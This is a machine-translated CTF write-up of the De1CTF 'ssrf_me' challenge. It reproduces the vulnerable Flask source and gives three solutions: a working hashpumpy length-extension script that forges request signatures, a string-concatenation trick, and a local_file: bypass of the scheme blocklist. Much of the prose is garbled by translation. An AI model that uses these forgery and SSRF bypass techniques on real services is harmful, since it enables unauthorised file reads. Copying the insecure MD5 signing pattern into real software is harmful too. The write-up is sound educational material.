Brush title records De1CTF ssrf_me Three Solutions

0x01 posted source code

#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json

reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)

class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):          #SandBox For Remote_Addr
            os.mkdir(self.sandbox)

    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print(resp)
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False

#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)

@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())
@app.route('/')
def index():
    return open("code.txt","r").read()

def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"

def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()

def md5(content):
    return hashlib.md5(content).hexdigest()

def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False

if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0',port=80)

0x02 topic analysis

Open a topic you can see the source code, which is a flaskframework to build the webservice.
The title is the most important function Exec, which means passing a file name param, file contents can be returned.
Probably the idea is /De1ta, the paramfile name is read using cookiethe actionand signto read flag.txt, which param=flag.txt, actionto be contained readand scan,
andsign=md5(secert_key + param + action)



0x03 solving

A hash expand attacks

We visit /geneSignand pass param=flag.txt, return secert_key + flag.txt + scanof md5value,
and we need to get hashlib.md5(secert_key + param + action)too value, which we have to pass actionmust have scanand readso we can use the hash length to expand attacks

import hashpumpy
import requests
import urllib.parse

param = 'flag.txt'
req = requests.get('http://51887fdd-b95d-4e84-8328-035c22aec325.node3.buuoj.cn/geneSign', params={'param': param})
sign = req.text                  #返回secert_key + flag.txt + scan得md5值
hash_sign = hashpumpy.hashpump(sign, param + 'scan', 'read', 16)    #返回secert_key + param + action得md5值
#sign是我们已知得sign, param+'scan'是flag.txtscan,read是我们在flag.txtscan后面加的字符串,16代表两个sign的公共部分secert_key,源码中提到了长度为16

req = requests.get('http://51887fdd-b95d-4e84-8328-035c22aec325.node3.buuoj.cn/De1ta', params={'param': param}, cookies={
    'sign': hash_sign[0],
    'action': urllib.parse.quote(hash_sign[1][len(param):])
})

print(req.text)

I'm here with hashpumpy, windows installation hashpumpy requires a certain environment configuration, too much trouble, you can choose to operate in linux



###### II string concatenation

Since we ultimately need it is hashlib.md5(secert_key + flag.txt + readscan).
When we visited /geneSign, the actiondefault scan, and when we are through Execaccessing checkSignThat is accessed, getSign函数when, actionfor our cookiesin actionvalue.

If we visit /geneSign, pass param=flag.txtread, the final generation md5('flag.txtread'+'scan')that values our ultimate need.
We visited Execwhen only need to pass param=flag.txt, cookiesin action=readactionthe final students become md5('flag.txt'+'readscan'), the two are equal.



三、local_file

file: Support /// / ../does not support ./


local_file: Python 2.xto 2.7.16the urllibsupport of the local_file:program


to use urllib2.urlopen(param)to include the file must addfile


In Python3the

from  urllib import request
request.urlopen()
Published 47 original articles · won praise 2 · Views 3128

Guess you like

Origin blog.csdn.net/a3320315/article/details/103438885